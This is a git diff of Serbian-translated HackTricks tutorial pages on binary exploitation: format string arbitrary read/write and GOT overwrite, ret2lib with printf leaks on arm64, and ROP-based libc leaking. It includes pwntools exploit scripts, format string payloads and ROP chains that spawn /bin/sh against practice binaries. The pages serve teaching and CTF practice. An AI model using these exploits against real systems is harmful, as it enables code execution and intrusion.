**Primeri:**
-* Ranjiv primer:
+* Ranjivi primer:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
@@ -61,29 +64,29 @@ fclose(output_file);
return 0;
}
```
-### **Pristupanje pokazivačima**
+### **Pristupanje Pokazivačima**
-Format **`%$x`**, gde je `n` broj, omogućava da se printf-u pokaže da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, možete uraditi:
+Format **`%$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
```c
printf("%x %x %x %x")
```
-i pročitao bi ste od prvog do četvrtog parametra.
+и могли бисте читати од првог до четвртог параметра.
-Ili možete uraditi:
+Или бисте могли да урадите:
```c
printf("$4%x")
```
-i pročitajte direktno četvrti.
+и читајте директно четврту.
-Primetite da napadač kontroliše parametar `pr`**`intf`, što u osnovi znači da** njegov unos će biti na steku kada se pozove `printf`, što znači da bi mogao da upiše određene memorijske adrese na stek.
+Обратите пажњу да нападач контролише параметар `pr`**`intf`**, што у основи значи да ће његов унос бити у стеку када се позове `printf`, што значи да би могао да упише специфичне адресе у меморији у стек.
{% hint style="danger" %}
-Napadač koji kontroliše ovaj unos, moći će **dodati proizvoljnu adresu na stek i naterati `printf` da im pristupi**. U sledećem odeljku će biti objašnjeno kako iskoristiti ovaj ponašanje.
+Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање.
{% endhint %}
-## **Proizvoljno čitanje**
+## **Произвољно читање**
-Moguće je koristiti format **`%n$s`** da bi **`printf`** dobio **adresu** smeštenu na **n poziciji**, sledeći je i **odštampao kao da je to string** (štampa do pronalaska 0x00). Dakle, ako je osnovna adresa binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na steku, moguće je odštampati početak binarnog fajla sa:
+Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** која се налази на **n позицији**, следећи је и **одштампа као да је то стринг** (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
```python
from pwn import *
@@ -97,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
-Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti završen sa 0x00 na kraju te adrese.
+Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.
{% endhint %}
-### Pronalaženje ofseta
+### Pronađi offset
-Da biste pronašli ofset za vaš unos, možete poslati 4 ili 8 bajtova (`0x41414141`), praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
+Da biste pronašli offset do vašeg ulaza, možete poslati 4 ili 8 bajtova (`0x41414141`) praćenih **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
-Bruteforce printf ofset
+Brute Force printf offset
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@@ -139,42 +142,43 @@ p.close()
### Koliko je korisno
-Proizvoljna čitanja mogu biti korisna za:
+Arbitrarna čitanja mogu biti korisna za:
-* **Izbacivanje** **binarnog koda** iz memorije
-* **Pristupanje određenim delovima memorije gde se čuvaju osetljive** **informacije** (kao što su kanarinci, ključevi za šifrovanje ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+* **Ispis** **binarne** datoteke iz memorije
+* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
-## **Proizvoljni Upis**
+## **Arbitrarno Pisanje**
-Formatter **`$%n`** **upisuje** broj napisanih bajtova na **označenu adresu** u parametru \ na steku. Ako napadač može da upiše toliko znakova koliko želi pomoću printf funkcije, moći će da natera **`$%n`** da upiše proizvoljan broj na proizvoljnu adresu.
+Formatirac **`$%n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \ parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`$%n`** piše proizvoljan broj na proizvoljnu adresu.
-Srećom, da bi se upisao broj 9999, nije potrebno dodati 9999 "A" u ulaz, već je moguće koristiti formatter **`%.%$n`** da bi se upisao broj **``** na **adresu na koju pokazuje pozicija `num`**.
+Srećom, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.%$n`** da bi se napisao broj **``** u **adresu koju pokazuje `num` pozicija**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
-Međutim, važno je napomenuti da se obično koristi `$hn` umesto `$n` kako bi se napisala adresa poput `0x08049724` (što je OGROMAN broj za napisati odjednom). Ovo omogućava da se napišu samo 2 bajta. Stoga se ova operacija obavlja dva puta, jednom za najviša 2B adrese, a drugi put za najniže.
+Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. Ovo omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
-Ova ranjivost omogućava pisanje bilo čega na bilo koju adresu (proizvoljno pisanje).
+Stoga, ova ranjivost omogućava **pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).**
-U ovom primeru, cilj je da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako ovo može zloupotrebiti druge tehnike proizvoljnog pisanja za izvršenje:
+U ovom primeru, cilj će biti da se **prepiše** **adresa** **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
-Prepisivaćemo funkciju koja prima argumente od korisnika i usmerićemo je ka funkciji `system`. Kao što je pomenuto, obično su potrebna 2 koraka za pisanje adrese: Prvo se pišu 2 bajta adrese, a zatim druga 2. Za to se koristi `$hn`.
+Mi ćemo **prepisati** **funkciju** koja **prima** svoje **argumente** od **korisnika** i **usmeriti** je na **`system`** **funkciju**.\
+Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo **napišete 2Bajta** adrese, a zatim ostala 2. Da biste to uradili, koristi se **`$hn`**.
-* HOB se odnosi na 2 viša bajta adrese
-* LOB se odnosi na 2 niža bajta adrese
+* **HOB** se poziva na 2 viša bajta adrese
+* **LOB** se poziva na 2 niža bajta adrese
-Zatim, zbog toga kako formatiranje stringa funkcioniše, morate prvo napisati manji od \[HOB, LOB\], a zatim drugi.
+Zatim, zbog načina na koji funkcioniše format string, morate **prvo napisati manji** od \[HOB, LOB] i zatim drugi.
Ako je HOB < LOB\
-`[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
+`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Ako je HOB > LOB\
-`[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
+`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@@ -186,13 +190,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools Šablon
-Možete pronaći **šablon** za pripremu eksploatacije ove vrste ranjivosti u:
+Možete pronaći **šablon** za pripremu eksploita za ovu vrstu ranjivosti u:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
-Ili ovaj osnovni primer sa [**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
+Ili ovaj osnovni primer iz [**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@@ -211,18 +215,33 @@ p.sendline('/bin/sh')
p.interactive()
```
-## Format Strings za BOF
+## Format Strings to BOF
-Moguće je zloupotrebiti akcije pisanja ranjivosti formatiranja stringova kako bi se **upisivali adrese sa steka** i iskoristila vrsta ranjivosti **preplavljivanja bafera**.
+Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se **piše u adrese steka** i iskoristi ranjivost tipa **buffer overflow**.
-## Ostali Primeri & Reference
+## Other Examples & References
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
-* 32 bit, bez relro-a, bez canary-ja, nx, bez pie-a, osnovna upotreba format stringova za procurivanje zastave sa steka (nema potrebe za menjanjem toka izvršavanja)
+* 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format string-a za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za prepisivanje adrese `fflush` sa funkcijom pobede (ret2win)
+* 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
-* 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za pisanje adrese unutar main-a u `.fini_array` (tako da tok ponovo petlja još 1 put) i pisanje adrese `system` u GOT tabeli koja pokazuje na `strlen`. Kada tok ponovo ode u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
+* 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok vraća još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
index cf815c5ca..058b6bc56 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
@@ -1,20 +1,21 @@
# Ret2lib + Printf leak - arm64
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-## Ret2lib - NX zaobilaženje sa ROP-om (bez ASLR)
+## Ret2lib - NX zaobilaženje sa ROP (bez ASLR)
```c
#include
@@ -31,41 +32,41 @@ printfleak();
bof();
}
```
-Kompajlirajte bez kanara:
+Kompajlirajte bez kanarinca:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-### Pronađi pomak
+### Pronađi offset
-### Pomak x30
+### x30 offset
-Kreiranje obrasca sa **`pattern create 200`**, korišćenje istog i provera pomaka sa **`pattern search $x30`** pokazuje da je pomak **`108`** (0x6c).
+Kreiranjem obrasca sa **`pattern create 200`**, koristeći ga, i proveravajući offset sa **`pattern search $x30`** možemo videti da je offset **`108`** (0x6c).
-Pogledom na rastavljenu glavnu funkciju možemo videti da bismo želeli da **skočimo** na instrukciju za skok direktno na **`printf`**, čiji je pomak od mesta učitavanja binarnog fajla **`0x860`**:
+Pogledajući disassembliranu glavnu funkciju možemo videti da želimo da **skočimo** na instrukciju koja direktno skače na **`printf`**, čiji je offset od mesta gde je binarni fajl učitan **`0x860`**:
-### Pronađi sistem i string `/bin/sh`
+### Pronađi sistem i `/bin/sh` string
-S obzirom da je ASLR onemogućen, adrese će uvek biti iste:
+Pošto je ASLR onemogućen, adrese će uvek biti iste:
-### Pronađi Gadgete
+### Pronađi Gadgets
-Potrebno je da u **`x0`** bude adresa stringa **`/bin/sh`** i poziv **`system`** funkcije.
+Moramo imati u **`x0`** adresu do stringa **`/bin/sh`** i pozvati **`system`**.
Korišćenjem roopera pronađen je zanimljiv gadget:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
-Ovaj uređaj će učitati `x0` sa **`$sp + 0x18`** a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na sistem**.
+Ovaj uređaj će učitati `x0` iz **`$sp + 0x18`** i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na system**.
-### Napad
+### Exploit
```python
from pwn import *
from time import sleep
@@ -95,7 +96,7 @@ p.sendline(payload)
p.interactive()
p.close()
```
-## Ret2lib - Bajpas NX, ASLR i PIE sa printf otkrivanjem sa steka
+## Ret2lib - NX, ASL & PIE zaobilaženje sa printf leak-ovima iz steka
```c
#include
@@ -121,46 +122,46 @@ bof();
}
```
-Kompajliraj **bez kanara**:
+Kompajlirajte **bez kanarinca**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
-### PIE i ASLR ali bez canary-ja
+### PIE i ASLR, ali bez kanarinca
* Runda 1:
-* Procure PIE sa steka
-* Zloupotreba bof-a da se vrati na main
+* Leak od PIE sa steka
+* Zloupotreba bof da se vrati u main
* Runda 2:
-* Procure libc sa steka
+* Leak od libc sa steka
* ROP: ret2system
-### Printf otkrivači
+### Printf leaks
-Postavljanjem prekidača pre poziva printf-a moguće je videti adrese za povratak u binarni fajl na steku, kao i adrese libc-a:
+Postavljanjem breakpoint-a pre pozivanja printf, moguće je videti da postoje adrese za vraćanje u binarni kod na steku, kao i libc adrese:
-Isprobavanjem različitih ofseta, **`%21$p`** može otkriti adresu binarnog fajla (PIE zaobilazak) i **`%25$p`** može otkriti adresu libc-a:
+Pokušavajući različite ofsete, **`%21$p`** može da leak-uje binarnu adresu (PIE bypass) i **`%25$p`** može da leak-uje libc adresu:
-Oduzimajući otkrivenu adresu libc-a od bazne adrese libc-a, moguće je videti da je **ofset** otkrivene adrese od baze `0x49c40`.
+Oduzimanjem leak-ovane libc adrese od osnovne adrese libc, moguće je videti da je **ofset** leak-ovane adrese od osnove `0x49c40`.
### x30 ofset
Pogledajte prethodni primer jer je bof isti.
-### Pronalaženje Gadgeta
+### Pronađi Gadgets
-Kao i u prethodnom primeru, potrebno je imati u **`x0`** adresu stringa **`/bin/sh`** i pozvati **`system`**.
+Kao u prethodnom primeru, potrebno je imati u **`x0`** adresu do stringa **`/bin/sh`** i pozvati **`system`**.
Korišćenjem roopera pronađen je još jedan zanimljiv gadget:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
-Ovaj uređaj će učitati `x0` sa **`$sp + 0x78`** a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na sistem**.
+Ovaj uređaj će učitati `x0` iz **`$sp + 0x78`** i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo **kontrolisati prvi argument i zatim skočiti na system**.
-### Napad
+### Exploit
```python
from pwn import *
from time import sleep
@@ -210,16 +211,17 @@ p.sendline(payload)
p.interactive()
```
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index bbccb2f62..c75850505 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -1,25 +1,26 @@
-# Otkrivanje libc adrese pomoću ROP-a
+# Curjenje libc adrese sa ROP
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-## Brzi Rezime
+## Brzi rezime
-1. **Pronađite** offset **preplavljivanja**
-2. **Pronađite** `POP_RDI` gedžet, `PUTS_PLT` i `MAIN` gedžete
-3. Koristite prethodne gedžete da **procurete memorijsku adresu** puts ili neke druge libc funkcije i **pronađete verziju libc-a** ([preuzmite je](https://libc.blukat.me))
-4. Sa bibliotekom, **izračunajte ROP i iskoristite je**
+1. **Pronađite** offset **prelivanja**
+2. **Pronađite** `POP_RDI` gadget, `PUTS_PLT` i `MAIN` gadgete
+3. Koristite prethodne gadgete da **curite adresu u memoriji** funkcije puts ili druge libc funkcije i **pronađite verziju libc** ([preuzmite je](https://libc.blukat.me))
+4. Sa bibliotekom, **izračunajte ROP i iskoristite ga**
## Ostali tutorijali i binarni fajlovi za vežbanje
@@ -44,17 +45,17 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
-## ROP - Šablona za otkrivanje LIBC adrese
+## ROP - Leaking LIBC шаблон
-Preuzmite eksploataciju i smestite je u isti direktorijum kao i ranjivu binarnu datoteku i pružite potrebne podatke skripti:
+Преузмите експлоит и ставите га у исту директорију као и рањиви бинарни фајл и дајте потребне податке скрипти:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
-## 1- Pronalaženje ofseta
+## 1- Налажење офсета
-Šablonu je potreban ofset pre nego što nastavi sa eksploatacijom. Ako nije pružen, izvršiće potreban kod za njegovo pronalaženje (podrazumevano `OFFSET = ""`):
+Шаблону је потребан офсет пре него што настави са експлоитом. Ако је било који пружен, извршиће потребан код да га пронађе (по подразумеваној вредности `OFFSET = ""`):
```bash
###################
### Find offset ###
@@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
-**Izvršite** `python template.py`, otvoriće se GDB konzola sa programom koji je pao. Unutar te **GDB konzole** izvršite `x/wx $rsp` da biste dobili **bajtove** koji će prepisati RIP. Na kraju dobijte **ofset** koristeći **python** konzolu:
+**Izvršite** `python template.py` GDB konzola će se otvoriti sa programom koji se srušio. Unutar te **GDB konzole** izvršite `x/wx $rsp` da dobijete **bajtove** koji su trebali da prepišu RIP. Na kraju dobijte **offset** koristeći **python** konzolu:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../.gitbook/assets/image (1007).png>)
-Nakon što pronađete offset (u ovom slučaju 40), promenite promenljivu OFFSET unutar šablona koristeći tu vrednost.\
+Nakon pronalaženja ofseta (u ovom slučaju 40) promenite OFFSET promenljivu unutar šablona koristeći tu vrednost.\
`OFFSET = "A" * 40`
-Još jedan način bio bi korišćenje: `pattern create 1000` -- _izvršiti do ret_ -- `pattern seach $rsp` iz GEF-a.
+Drugi način bi bio da se koristi: `pattern create 1000` -- _izvršiti do ret_ -- `pattern seach $rsp` iz GEF-a.
-## 2- Pronalaženje Gadgeta
+## 2- Pronalaženje Gadžeta
-Sada trebamo pronaći ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje `puts` kako bismo pronašli **libc** koji se koristi, a kasnije i za **pokretanje konačnog napada**.
+Sada treba da pronađemo ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje `puts` kako bismo pronašli **libc** koja se koristi, a kasnije za **pokretanje konačnog eksploita**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@@ -94,15 +95,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
-`PUTS_PLT` je potreban da bi se pozvala **funkcija puts**.\
-`MAIN_PLT` je potreban da bi se pozvala **glavna funkcija** ponovo nakon jedne interakcije da bi se **iskoristio** preljev **ponovo** (beskonačne runde iskorišćavanja). **Koristi se na kraju svakog ROP-a da bi se program pozvao ponovo**.\
-**POP\_RDI** je potreban da bi se **prosledio** **parametar** pozvanoj funkciji.
+`PUTS_PLT` je potreban za pozivanje **funkcije puts**.\
+`MAIN_PLT` je potreban za ponovo pozivanje **main funkcije** nakon jedne interakcije da bi se **iskoristio** overflow **ponovo** (beskonačni krugovi eksploatacije). **Koristi se na kraju svakog ROP-a da ponovo pozove program**.\
+**POP\_RDI** je potreban da se **proslijedi** **parametar** pozvanoj funkciji.
-U ovom koraku ne morate izvršiti ništa jer će sve biti pronađeno pomoću pwntools tokom izvršavanja.
+U ovom koraku ne morate izvršavati ništa jer će sve biti pronađeno od strane pwntools tokom izvršenja.
## 3- Pronalaženje libc biblioteke
-Sada je vreme da se otkrije koja verzija **libc** biblioteke se koristi. Da bismo to uradili, **procurećemo** **adresu** u memoriji **funkcije** `puts`, a zatim ćemo **tražiti** u kojoj **verziji biblioteke** se nalazi ta verzija puts funkcije na toj adresi.
+Sada je vreme da pronađemo koja verzija **libc** biblioteke se koristi. Da bismo to uradili, iskoristićemo **leak** **adresu** u memoriji **funkcije** `puts` i zatim ćemo **pretražiti** u kojoj **verziji biblioteke** se nalazi verzija puts na toj adresi.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@@ -131,30 +132,30 @@ if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
-Da biste to postigli, najvažnija linija izvršenog koda je:
+Da bi to uradili, najvažnija linija izvršenog koda je:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
-Ovo će poslati nekoliko bajtova dok nije moguće **prepisati** **RIP**: `OFFSET`.\
-Zatim će postaviti **adresu** gedžeta `POP_RDI` tako da će sledeća adresa (`FUNC_GOT`) biti sačuvana u registru **RDI**. To je zato što želimo **pozvati puts** **prosljeđujući** mu **adresu** `PUTS_GOT` jer je adresa funkcije puts u memoriji sačuvana na adresi na koju pokazuje `PUTS_GOT`.\
-Nakon toga, pozvaće se `PUTS_PLT` (sa `PUTS_GOT` unutar **RDI**) tako da će puts **pročitati sadržaj** unutar `PUTS_GOT` (**adresa funkcije puts u memoriji**) i **ispisati je**.\
-Na kraju, **ponovo se poziva glavna funkcija** kako bismo ponovo iskoristili prekoračenje.
+Ovo će poslati neke bajtove dok **prepisivanje** **RIP** nije moguće: `OFFSET`.\
